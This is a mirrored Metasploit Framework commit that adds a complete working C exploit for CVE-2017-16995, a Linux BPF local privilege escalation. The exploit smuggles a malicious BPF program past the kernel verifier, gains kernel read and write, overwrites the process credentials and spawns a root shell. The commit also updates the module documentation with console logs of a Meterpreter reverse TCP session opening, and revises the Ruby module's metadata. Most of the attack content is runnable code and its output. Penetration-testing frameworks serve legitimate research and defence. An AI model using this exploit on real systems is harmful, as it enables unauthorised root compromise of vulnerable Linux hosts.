mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Fix bpf_sign_extension_priv_esc
This commit is contained in:
parent
e197cb5759
commit
9bdec97b2e
496
data/exploits/cve-2017-16995/exploit.c
Normal file
496
data/exploits/cve-2017-16995/exploit.c
Normal file
@ -0,0 +1,496 @@
|
||||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
Binary file not shown.
@ -1,20 +1,29 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0,
|
||||
which contains a vulnerability where it may improperly perform sign extentension.
|
||||
This can be utilized to priv escalate. However, this module's offsets and
|
||||
other parameters have only been set and tested against the 4.4.0-116 kernel.
|
||||
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
|
||||
which contains a vulnerability where it may improperly perform sign
|
||||
extension. This can be utilized to escalate privileges.
|
||||
|
||||
This module has been successfully tested on:
|
||||
The target system must be compiled with BPF support and must not have
|
||||
`kernel.unprivileged_bpf_disabled` set to `1`.
|
||||
|
||||
* Ubuntu 16.04 with the 4.4.0-116 kernel
|
||||
* Linux Mint 18 with the 4.4.0-116-generic kernel
|
||||
This module has been tested successfully on:
|
||||
|
||||
### Meterpreter Exception
|
||||
|
||||
Due to a bug, this exploit can only be run on a non-meterpreter shell.
|
||||
When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument`
|
||||
is thrown by the executable.
|
||||
* Debian 9.0 kernel 4.9.0-3-amd64;
|
||||
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
|
||||
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
|
||||
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
|
||||
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
|
||||
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
|
||||
* Linux Mint 17.3 kernel 4.4.0-89-generic;
|
||||
* Linux Mint 18.0 kernel 4.8.0-58-generic;
|
||||
* Linux Mint 18.3 kernel 4.13.0-16-generic;
|
||||
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
|
||||
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
|
||||
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
|
||||
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
|
||||
* Ubuntu 17.04 kernel 4.10.0-19-generic;
|
||||
* ZorinOS 12.1 kernel 4.8.0-39-generic.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@ -145,55 +154,31 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
### Linux Mint 18
|
||||
|
||||
### Debian 9.0 (x86_64)
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[+] Kernel confirmed vulnerable
|
||||
[*] The target appears to be vulnerable.
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
|
||||
compile => False
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf
|
||||
[*] Writing ljJApCaK to /tmp/ljJApCaK
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 172.16.191.207
|
||||
[*] task_struct = ffff88003ce84600
|
||||
[*] uidptr = ffff88003cc46f04
|
||||
[*] spawning root shell
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400
|
||||
[+] Deleted /tmp/UVQYvBTJ.c
|
||||
[+] Deleted /tmp/UVQYvBTJ
|
||||
[+] Deleted /tmp/ljJApCaK
|
||||
[!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target
|
||||
|
||||
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
|
||||
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
|
||||
[*] Launching exploit ...
|
||||
[*] Sending stage (861480 bytes) to 172.16.191.236
|
||||
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.207
|
||||
OS : LinuxMint 18 (Linux 4.4.0-116-generic)
|
||||
Computer : debian-9-0-x64.local
|
||||
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
@ -7,70 +7,92 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super( update_info( info,
|
||||
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter
|
||||
which contains a vulnerability where it may improperly perform
|
||||
sign extension. This can be utilized to escalate privileges.
|
||||
This module has been tested on Ubuntu 16.04 with the 4.4.0-116
|
||||
kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bleidl', # discovery
|
||||
'vnik', # edb
|
||||
'h00die' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-16995' ],
|
||||
[ 'EDB', '44298' ],
|
||||
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DisclosureDate' => 'Nov 12 2017',
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0))
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
|
||||
which contains a vulnerability where it may improperly perform sign
|
||||
extension. This can be utilized to escalate privileges.
|
||||
|
||||
The target system must be compiled with BPF support and must not have
|
||||
kernel.unprivileged_bpf_disabled set to 1.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
Debian 9.0 kernel 4.9.0-3-amd64;
|
||||
Deepin 15.5 kernel 4.9.0-deepin13-amd64;
|
||||
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
|
||||
Fedora 25 kernel 4.8.6-300.fc25.x86_64;
|
||||
Fedora 26 kernel 4.11.8-300.fc26.x86_64;
|
||||
Fedora 27 kernel 4.13.9-300.fc27.x86_64;
|
||||
Linux Mint 17.3 kernel 4.4.0-89-generic;
|
||||
Linux Mint 18.0 kernel 4.8.0-58-generic;
|
||||
Linux Mint 18.3 kernel 4.13.0-16-generic;
|
||||
Mageia 6 kernel 4.9.35-desktop-1.mga6;
|
||||
Ubuntu 14.04.1 kernel 4.4.0-89-generic;
|
||||
Ubuntu 16.04.2 kernel 4.8.0-45-generic;
|
||||
Ubuntu 16.04.3 kernel 4.10.0-28-generic;
|
||||
Ubuntu 17.04 kernel 4.10.0-19-generic;
|
||||
ZorinOS 12.1 kernel 4.8.0-39-generic.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jann Horn', # Discovery
|
||||
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
|
||||
'vnik', # upstream44.c exploit
|
||||
'rlarabee', # cve-2017-16995.c exploit
|
||||
'h00die', # Metasploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Nov 12 2017',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'get-rekt-linux-hardened.c' ],
|
||||
[ 'AKA', 'upstream44.c' ],
|
||||
[ 'BID', '102288' ],
|
||||
[ 'CVE', '2017-16995' ],
|
||||
[ 'EDB', '44298' ],
|
||||
[ 'EDB', '45010' ],
|
||||
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
|
||||
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
|
||||
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
|
||||
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
|
||||
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
|
||||
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
|
||||
